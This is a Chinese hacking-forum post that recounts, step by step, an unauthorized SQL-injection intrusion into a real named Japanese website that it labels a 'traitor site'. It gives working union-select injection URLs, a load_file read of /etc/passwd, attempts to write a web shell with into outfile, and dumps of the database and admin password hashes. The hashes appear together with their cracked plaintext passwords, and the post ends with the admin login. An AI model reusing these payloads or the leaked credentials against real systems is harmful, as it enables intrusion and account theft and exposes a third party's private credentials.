原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

, k7 y! [  D9 [4 Z
& S( o# }; o2 ?5 |/ q- }6 I2 y0x01. 检测 www.zuaa.jp 收集数据
2 x! ^) E& Z8 a
/ j* S8 t- A! t& L$ N
* S& d5 A4 O; Q  o* Pwhatweb

7 R, y( |1 ]0 F3 X: b
: P) U, V2 b% I- ~0 Z利用NMAP扫描
) m0 L8 ?& |2 e+ ]
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
. N. U5 @0 |6 l$ {- Y$ |# H; W找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390


6 d$ ?! \+ J0 V/ ^6 W1 Q$ I* i2 I0x03.order by
: i( }% E3 h: p8 K             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
+ z5 U' v' Y$ {. I4 b4 ~# r7 j
8 n5 s" i) x/ D% Zorder by 28报错，order by 27正常

& b7 `" ?1 H) G3 d0x04.   union手动查询
9 V& C. \2 Z$ _2 j: s0 ohttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
4 ^  [# f( x8 q  d3 b- O# L4 N添加到 27 时正常显示

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
5 E1 P" p4 |) l8 ^& |4 l
0x05. info:
) }1 L" i) N) v4 m: F) A% N/ Yhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
" {9 |  t% A! [0 c
user:            root@localhost
6 ^- w: q  K6 K- y+ udatabase:    openpne
/ g, j, Z& U% Y8 Y$ k" Gversion:      4.1.22
os:             portbld-freebsd5.4
7 m, y! x3 |4 l/ G+ z/ n5 X
0 }0 T& `. p/ ?& N, R# a+ y0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
3 m, `( ]- \4 O7 t3 o0 O- x7 h% R" C
通过工具转换

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

- I" `: x7 }- e& n) `( a0x07. 利用 into outfile
2 E5 }" H3 ]( ~6 W全部都失败
/ z' {# w% I) b( |8 d' D. Dhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
  Y( j: k: ~# Z& n# `) D6 r( d
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

页面显示“MDB2 Error:syntax error”

0x08. 利用 mysql 4.1
猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
8 l* ^7 ~4 J0 }2 A! F' ]- \/ u/ a
( p+ D4 t9 k; m8 P+ P
8 k9 Q9 _; X0 w2 z7 T& {: o! q' b2 T
0x09. 查找后台
利用 现有的各种 后台工具尝试都不行

0x10.  MySL外联方法
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
5 p: V+ R, a5 k- O6 \可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
6 @: V$ y) \" L: w* p* `! yopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
zuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
% |' r6 l, C& Q) x工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知


0x11. 网站突破
+ U7 R% d) ^7 [! j6 t- A6 T发现网站的源程序 openpne, google 下载 openpne 源码


' K: O9 x8 Y8 j- v0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login
4 w$ L4 H6 T, _( ~# C: J, q
表名 (c_admin_user) ，字段名（username,password）
$ L$ m% u5 C+ R6 y5 ?, u$ Whttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
# _+ n# u, p$ w( W" f) P
! L* B; k' S' z9 u3 y- U; v- b4 O( w解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
5 m! s# t: E4 {1 ^7 P- K+ o8 Zzuaajp:c0923ec5857796a393da99905008c176,          zju1897
0 o) T  q* [3 N  Z7 I
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台



0x14. 小结
利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
3 J: w! s9 H& z6 b* H------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的